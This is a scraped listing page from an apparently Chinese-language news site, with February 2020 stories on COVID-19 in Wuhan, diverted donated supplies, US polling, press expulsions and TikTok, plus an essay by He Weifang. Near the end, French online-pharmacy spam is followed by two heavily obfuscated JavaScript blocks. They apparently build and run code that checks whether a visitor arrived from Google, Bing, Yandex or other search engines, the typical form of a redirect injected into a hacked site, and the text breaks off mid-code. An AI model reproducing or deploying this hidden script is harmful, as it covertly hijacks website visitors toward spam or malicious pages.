25日武汉市武昌区官方微博发表声明称,武汉一位周姓爱心人士在四川自费购买、运送的一卡车蔬菜到武汉,因装卸人力不足,请城管人员协助转运,所转运的蔬菜已送至各社区。

后来,货车司机被改口出来道歉了。

有网民表示,「车头车尾用轿车拦住这叫协助吗!真的是继续每天刷新我认知下线。」「拿回城管队分,就如那个派出所所长太太上网显摆:『我们家的免费菜还吃不完』。多么协助转运爱心物资啊!」

四万只捐赠口罩下落不明
另外,还有爱心人士捐往黄冈的4万只口罩,在运送途中被司机私吞了。

由贝贝集团采购捐助给红安县人民医院和团风县公安局的4万只口罩不翼而飞。在贝贝集团和疫区志愿者吕女士的追查下,陈姓商人才说出:「是运货司机想私吞货物。」

志愿者吕女士不断与货车司机联系,但货物装车后就不再接收货人电话,等再联系上司机,司机拒不承认装载过这4万只口罩,并声称他拉的口罩是自己花50万买的,此后就再也联系不上。

武汉疫情严峻,前线医护人员冒着生命风险在死亡线上救人,疫区居民配合隔离政策封闭家中,这些各方捐助的物资可都是保命用的,却在人性的贪婪下给掳掠了。无怪乎湖北人难过的说:不要再捐了。


4万只口罩被黑了。

2020-02-26 / by / in
纽约州:移民助力经济排名第一

根据一项最新研究,由移民产生的经济收入占超过25%,这个数字在全美排第一。也就是说,纽约州享受移民的益处最大。

研究说,纽约州的移民之所以起到这么大的作用,其原因是,纽约是全美移民人口第二多的地方,在外国出生的居民占23%;纽约州23%的家庭是由第二代移民组成的。

理财网站WalletHub在最新的一个研究中,对全国50个州和哥伦比亚地区的外国出生的人口经济状况,通过23个指标进行比较,结果发现纽约州排第一。

此外,纽约州还在外国出生人口的劳动力的比例上列为第三名,超过27%的劳动力是外国出生的人;而这些外国出生的居民当中成为公司拥有者的比例超过25%,在全美排第二;而且,纽约州37%的在职医生是从外国医学院毕业的,这个比例在全美排第二。

除此之外,纽约的国际学生比例名列全国第一,被称为享有移民的创造力和「智力增益」。

一个新泽西罗格斯大学的教授对媒体表示,移民们「让城市充满活力;他们社区的犯罪率低;他们税收和社会安全贡献让社会系统得以维持」。

所以很多专家把移民看是「净奖励」。

在移民对社会经济的贡献排名上,全美前五名的州分别是:纽约州、加州、新泽西州、麻省和马里兰州。

排在倒数5名的地方是:密西西比州、怀俄明州、爱达荷州、蒙塔那州和南达科他州。

2020-02-25 / by / in , , , , ,
最新民调预测:川普会获连任

周一(24日)在锡耶纳学院民调(Siena College Poll)发表的显示数据中:共和党选民中持川普胜利观点的人占81%;独立党选民中占73%;就连民主党选民中也有多达48%的人,绝大多数人都预测,川普会在今年11月的大选中获得连任。

另一份对625个注册选民在2月16日到20日之间所做的问卷答案表明,纽约市62%的人认为川普将会胜选,只有29%的人预测他会败选。

在所有不同类别的选民群体中,每一个群体中的绝大多数人都认为川普会获胜:联合家庭中63%,纽约市居民中58%,郊区家庭中占63%和上城选民中占61%。

在非裔选民中43%认为川普必胜,41%认为他必输;在「自由派」选民中,47%的人认为川普会被打败,只有42%的人认为他会赢。

虽然大部分纽约人预测川普会赢得连任,但这不意味着他们会投票给川普。因为民调显示,纽约人仍然保持他们的「蓝色」本质,他们更支持他们的民主党参选人。

比如,当民主党选民被问到,假设有个民主党候选人能够和川普抗衡的话,他们每个人战胜川普的可能比分是多少的时候,彭博得到比川普多25%的比例(即如果彭博是民主党候选人,将以58%对33%战胜川普);Pet Buttigieg和拜登分别多出19%;桑德斯是18%。

如果让民主党候选人投票的话,25%的人说会投票给桑德斯;21%的人会投票给彭博;13%的人会投票给拜登。

民调方总结说,「虽然纽约人看上去希望给民主党的9个参选人投票,但是绝大多数的人却相信,川普会赢得第二个总统任期。」◇

2020-02-25 / by / in ,
北京驱逐3名《华尔街日报》记者 美方讨论应对方案

彭博新闻社报道,多名美国政府官员透露,白宫副国家安全顾问博明(Matt Pottinger)24日主持一项会议,讨论北京驱逐3名《华尔街日报》记者的应对方案,博明曾经是《华尔街日报》驻北京的记者。

《华尔街日报》本月3日刊登由美国智库“哈德森研究所”研究员米德撰写的一篇名为“中国是亚洲真正的病夫”文章,引发中国政府的不满,批评是种族歧视,并下令驱逐该报3名记者。

彭博新闻社还指出,针对是否应该对北京采取严厉应对措施,与会官员进行了激烈辩论,有人主张命令数十名、甚至数百名中国记者离开美国,但是也有人认为此举违反法律,也不符合美国新闻自由的价值观。

知情的美国官员表示,不论采取什么决定,美国政府决心要解决美中双方对待新闻界的严重不平衡问题。

一些政府官员认为,几乎完全由中国政府控制的媒体在美国就有超过500名的记者,已经达到美国无法掌握的程度。

另一方面,中国政府目前只允许大约75名的美国记者在当地工作,同时认为如果美国媒体出现“不公平”的报道,就常常以驱逐或拒发签证等手段来加以惩罚。

2020-02-25 / by / in , , ,
“抖音海外版TikTok”美国TSA禁止雇员使用

TikTok是短视频应用抖音(Douyin)的海外版,母公司为字节跳动。近年来TikTok迅速成为美国最受欢迎的应用程式之一。数据公司Sensor Tower的资料显示,TikTok在全球和美国分别有近15亿次和1.22亿次下载量。

抖音海外版TikTok越发引起美国的关注。 此前有报导称,美国政府对TikTok应用程式进行了国家安全审查。

美国运输安全管理局(TSA)周日(2月23日)表示,在参议院少数党领袖查克·舒默(Chuck Schumer )提出了对抖音海外版TikTok可能带来的国家安全担忧后,TSA禁止其雇员使用中国公司「字节跳动」拥有的TikTok社媒视频软件。

美国联邦参议员舒默周六(2月22日)给TSA管理人员戴维·佩科斯(David Pekoske)发了一封信。他在信函中引述了美国国土安全部(DHS)的一项政策,禁止员工在DHS设备上安装TikTok。

TSA在周日的一份声明中表示,少数员工之前曾在其个人设备上使用TikTok制作视频,以用于TSA在社交媒体上宣传工作,但这一做法已被停止。

舒默在信中说,国家安全专家对TikTok收集和处理用户数据以及个人信息,用户的位置等方面表示担忧。他还在信中提醒说,中共的法律强迫公司与中共政府和情报收集机构合作。

舒默在给美联社的一份声明中说:“鉴于有关TikTok所构成威胁的广泛报导,以及TikTok引起的现有担忧,联邦政府不能再继续允许TSA使用这个平台。”

TSA在过去数月以来,曾用抖音发布一系列影片,部分再被转载到其他社交平台上,大批网民曾收看。该些影片介绍TSA的服务,及乘坐交通工具的规则等。

TikTok在美国引发越来越多的安全关注。去年12月,美国海军发布公告称,政府提供的手机设备用户若安装了TikTok,且没有将此应用删除,将被阻止使用海军陆战队内部网。

舒默在去年11月曾向陆军部长莱恩·麦卡锡(Ryan McCarthy)发了一封信。他在信中提出对美军使用TikTok招募年轻人入伍表示担忧。

「我认识到,陆军必须调整招募策略来吸引年轻美国人为国效力,但我敦促您,在选择利用某些平台之前,评估中国科技公司可能构成的国家安全风险。」舒默说。

2020-02-24 / by / in , ,
李小宾医生医疗美容美体中心(电话:610-413-9406)Everest Medspa 李医生医疗美容美体中心四大套餐

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2020-02-21 / by / in
肺炎疫情困扰东京奥运
 中国武汉2019年12月爆发新冠病毒疫情,目前在全球已经造成2000多人死亡,75000多人感染。在日本,已经有数百人被确诊感染了新冠病毒,三人死亡。其中主要来自停靠fajia在横滨港的钻石公主号游轮。

东京奥运原计划在7月24日开幕。人们担心,疫情的蔓延可能会使这次东京奥运无法举行。

疫情的发展给东京奥运的主办方、日本政府和东京市政府造成了很大的困扰。国际奥林匹克委员会和日本有关方面最近几个星期一再表示,他们并不准备取消或者推迟东京奥运的举行。

另一方面,日本方面的相关准备工作正在加紧推进。 据美联社报道,日本计划从本月下旬至4月举办一些比赛测试活动,为举办东京奥运积累一些病毒防控方面的经验。

2020年东京奥运会的发言人高古正哲(Masa Takaya)介绍说,第一阶段的测试活动在本月进行,仅限于日本运动员参加。地点是东京有明体育馆。测试项目包括残奥会项目意大利式球戏等。这是东京奥运开幕之前需要完成的19项测试项目的第一个。

第二阶段的测试活动计划在3月和4月举行,其中包括轮椅橄榄球和体操项目等。

高古正哲对媒体表示:“显然,测试活动会进行调整,但肯定会进行。”

据美联社报道,在谈到日本是否会推迟或取消这些测试活动的时候,高古正哲说:“不、不、不、不,绝对不会。”

但是,美联社说,高古正哲并不能保证外国运动员是否会参加轮椅橄榄球和体操项目的测试比赛。

高古正哲说:“我们还不知道哪些国家会派运动员参加比赛。” “我们会在最合适的时候公布参赛者的信息。”

 

2020-02-20 / by / in ,
新冠肺炎重症死亡率50%以上

中共隐瞒疫情,致使疫情迅猛蔓延。截至2月20日,仅中共官方的数据,就有近7.5万人确诊为新冠肺炎,逾2千人死亡。但外界认为,实际感染与死亡人数是官方的十多倍。

据中共疾防中心2月17日的消息,截至2月11日,共有3,019名医务人员感染了新型冠状病毒。但外界普遍认为,中共官方的数据严重缩水。

《新京报》2月19日报导说,2月19日,武汉市中心医院副院长兼市第八医院院长王萍不幸感染新冠肺炎,目前病情危急,在金银潭医院重症监护室抢救,急需救命血浆,RH阴性O型。经武汉相关部门核实,网传消息确实,血液问题已解决。武汉医务人员披露,新冠肺炎重症的死亡率是50%以上。

 

2月17日,武汉市武昌医院院长刘智明,因感染武汉肺炎去世,终年51岁。

自由亚洲电台2月20日报导说,武汉肺炎病毒传染性强、毒性巨大,普通市民防不胜防,就连医护专业人士都难逃其害。

报导说,武汉一位志愿者引述当地医疗系统的消息说:「大部分感染主要因为防护措施没有提高到非常高的标准,因此感染的人非常多。老百姓是交叉感染,一是老百姓无知,另一个是他们(政府要求)封闭消息,等到老百姓知道时,为时已晚,(然后)再隔离基本上面临死亡。内部消息指重症患者死亡率是50%。」

武汉一医院后勤部门的医务人员马女士也对自由亚洲电台说,从轻症转化为重症的患者,死亡达50%以上。

马女士说:「本来是轻症,但是他没有办法抵抗病毒,就会演变成重症,重症的死亡率是50%以上,如果上ECMO人工心肺系统,通常是严重状态。如果给病人上这部机器对费用也相当高。」

外界质疑,本次疫情之所以迅速蔓延,主要是人祸。因为中共隐瞒疫情,发布疫情「可防可控」、没有「人传人」等虚假信息,并抓捕传播疫情真相的网民及医生等原因,令国人以及医护人员疏于防范,致使疫情迅速扩散。

2020-02-20 / by / in ,
遏制新型冠状病毒传播,美国各地如何管理自我隔离者

中国新冠疫情扩散,蔓延世界各国,根据加利福尼亚公共卫生部的数据,截至2月14日,仅加州一个州就有5,400多人进行自我隔离。此外,佐治亚州、华盛顿州、伊利诺伊州、纽约州等还有数百人接受自我隔离。

为遏制新型冠状病毒的可能传播,美国公共卫生官员正努力跟踪成千上万名美国人的健康安全,因为这些人刚从中国大陆返回、他们被要求在家进行自我隔离。

各州公共卫生官员正在按照联邦疾病控制与预防中心(CDC)和国务院的指示跟踪隔离人群的近况,包括使用各种技术辅助,以及招募志愿者拨打电话和发送短信,还有登记各种电子表格。

因从中国返美人士数量巨大、加上隔离成本高昂,这让美国本来就很紧张的地方卫生部门感到压力巨大。

硅谷所在的圣塔克拉拉县已发现2例确诊病例。当地的公共卫生部门主任萨拉·科迪(Sara Cody)表示:「这是一个全新的工作范围」。

当地为此组建了由跨部门的当地政府雇员、医护人员和联邦官员组成的团队,负责对返美人士以及确诊病例进行跟踪。

受疫情影响,许多航空公司暂停了赴华航班,加上美国禁止从中国赴美的外国人入境,因此近期从中国大陆抵达美国的旅客人数已大幅减少。但即便如此,每天仍有一些美国人从中国回来、抵达联邦官员指定的11个机场接受筛检,同时也有近期到过中国的外国旅客抵美,这些都是需要接受隔离以及跟踪的对象。

洛杉矶县公共卫生局局长芭芭拉·费雷尔(Barbara Ferrer)说,洛杉矶县每天都会增加数十名返美旅客。

美国政府允许没有出现新冠病毒症状的、未去过湖北的人前往他们在美国的最终目的地,但要求他们必须先在家里待上14天、监视健康状况,如果出现发烧或干咳等症状,需要即刻向当地卫生部门报告、并与医护人员联系。

此外,接受自我隔离的人士被要求避免与他人近距离接触,要求与他人保持6英尺(1.83米)的距离。如果附近无人,他们可以出去锻炼。当地卫生官员表示,到目前为止,大多数接受隔离的人都愿意合作。

隔离支出费用惊人

在美隔离,美国政府为此投入的支出惊人。华盛顿州的西雅图和金县有约400人在家接受自我隔离,为解决跟踪需求,当地政府从华盛顿大学公共卫生学院和该州的公共卫生预备人员中招募志愿者。

西雅图和金县的卫生专员表示,每周该县在跟踪隔离方面的支出约20万美元,此外,隔离还需要将工作人员从其它任务中抽调过来。

对接受严格隔离以及对有症状表现遭隔离的人士,公共卫生人员有时需要提供更密集的服务,包括购买食品和药品。比如:西雅图和金县就参照营养师的菜单,向接受隔离人士提供百吉饼、火鸡肉、鳄梨沙拉酱、水果等。

此外,卫生当局还在消除公众因新冠病毒产生的仇外心理、并纠正一些民间传播的错误信息。上周,芝加哥公共卫生部在当地华埠举行了一次新闻发布会,介绍所有跟之前发现的两例确诊病例有亲密接触的人士目前都结束隔离、度过病毒潜伏期,随后该部门负责人还在华埠吃午餐、希望借此向公众传递华埠就餐安全的正确信息。

需要提及,这些接受自我隔离的人士与美国政府从中国武汉以及钻石公主号邮轮撤回的人员是分开的。撤离人士目前受到联邦政府更严格的隔离,单独安置在美国四个空军基地等地方。

2020-02-19 / by / in , , ,
敢言北大教授贺卫方:惨痛代价望能换来新闻自由

由于官方隐瞒疫情封锁资讯,导致武汉肺炎疫情扩散并失控,全中国封省封城封村,人人自危。在大陆社交媒体帐号被封的北京大学法学院教授贺卫方,其手写的文章流传网络。他大声疾呼,强调新闻自由的必要与可贵,因为没有言论监督的自由,所谓现代化的治理能力和体系就是空中楼阁。

贺卫方全文如下:

庚子年,短短的一个黄历新年,九省通衢的武汉市就由一个繁华大都会迅速变成一座人间地狱。一场突如其来的冠状病毒袭击,转瞬间已导致近两千人命丧黄泉,有些家庭甚至满门尽亡。宣布的死亡人数是官方统计,可以肯定,尚有很多没有赶上确诊就已经死去者不在其中。此外,武汉率先封城,接着温州、杭州,各大城市也紧急跟进,差不多全国范围都进入了紧急状态。

与此同时,这恐怖的病毒又借着喷气式飞机以及豪华邮轮传播到世界各个角落。举世恐慌之下,各国纷纷采取紧急措施,航空中止,入境禁止,一时间仿佛又回到了从前闭关锁国的时代。

迄今为止,造成这惨状的原因尚有许多谜团。最重要的,病毒来自何处,是自然原因,还是某种事故,仍然是一头雾水,不得其解。不过,可以确定的是,从最早发现感染者的2019年12月初,一直到2020年的1月20日疫情公开,近两个月的时间里,包括武汉市绝大多数市民在内,人们都在浑然不觉之中,走亲访友,杯盏交错,外出旅行,呼朋引伴。官媒莺歌燕舞,两会歌功颂德……一片升平之下,那致死的病毒悄然传入千家万户。

当然,一线的医生护士们感知得到。他们不断地将这危急信息向省市政府尤其是卫健委报告,甚至通过内参通道报告中央。但是泣血陈情却无法唤醒沉睡的官僚体制,包括官僚化的专家们。他们信誓旦旦的告诉国民,疫情可防可控,未见人际传播。

面对公众怒火和举世的焦虑,最高领导人想亲自出面澄清某些怀疑。2月15日,《求是》杂志发表习近平2月3日在中共政治局常委会上的讲话,其中强调他如何不断地做出指示和批示,部署指挥,动员抗击疫情。在时间节点上,他最早发出指示是1月7日,1月20日做出批示,1月22日又发出“明确要求”,庚子年正月初一即1月25日再召集政治局常委会对抗疫情“再研究、再部署、再动员”,并决定成立中央应对疫情领导小组。

我们姑且不说,1月7日已经是疫情爆发一个月之后,也难以了解部署、动员的内容如何,一个令人震惊的事实是:1月7日讲话涉及武汉疫情的内容似乎被官媒做了“留中不发”的处理,外界根本无从知晓。

讲话者是否知道他遭到了“屏蔽”,抑或讲的内容不适合让公众知道?假如最高领导人的讲话也遭到了封锁,那“两个维护”岂非笑话?说到底,根子上在于无自由。如果武汉、湖北的报纸、电视可以就疫情进行自由而负责任的报导,何至于要依赖这相互诿责的官僚体系?何至于武汉以及全国要这么多的人受干扰、遭噩运?!

唉,不多说了。但愿这惨痛的代价能够让手握权柄者醒悟:没有新闻自由,就不仅民生多难,而且政府亦无信,更谈不上现代化的治理能力和体系。

2020年2月17日宅中

2020-02-19 / by / in ,
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2020-02-17 / by / in , , ,
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2020-02-17 / by / in , , ,
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2020-02-17 / by / in , , ,
Diclofenac Generique

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2020-02-16 / by / in , , ,
Cyproheptadine acheter en ligne. Prix du Periactin

Prix du Periactin

Note 4.4 étoiles, basé sur 57 commentaires.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,57,56,51,52,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,80,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,55,56,113,122,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+